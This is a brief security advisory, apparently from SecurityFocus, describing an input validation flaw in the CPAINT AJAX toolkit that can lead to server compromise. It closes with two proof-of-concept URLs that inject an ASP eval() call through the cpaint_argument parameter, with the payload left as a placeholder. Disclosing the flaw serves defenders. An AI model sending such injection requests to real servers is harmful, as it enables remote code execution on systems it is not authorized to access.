source: http://www.securityfocus.com/bid/14577/info

CPAINT is prone to an input validation vulnerability. This issue occurs because the application fails to properly sanitize malicious scripts and requests from user-supplied input.

Successful exploitation of this vulnerability could lead to a compromise of the server running the affected application. Other attacks are also possible. 

calculator.asp?cpaint_function=addNumbers&cpaint_argument[]=1&cpaint_argument[]=2")%20%26%20eval("malicious code

http://someserver.com/cpaintfile.asp?cpaint_function=response.write&cpaint_argument[]=2")%20%26%20eval("malicious code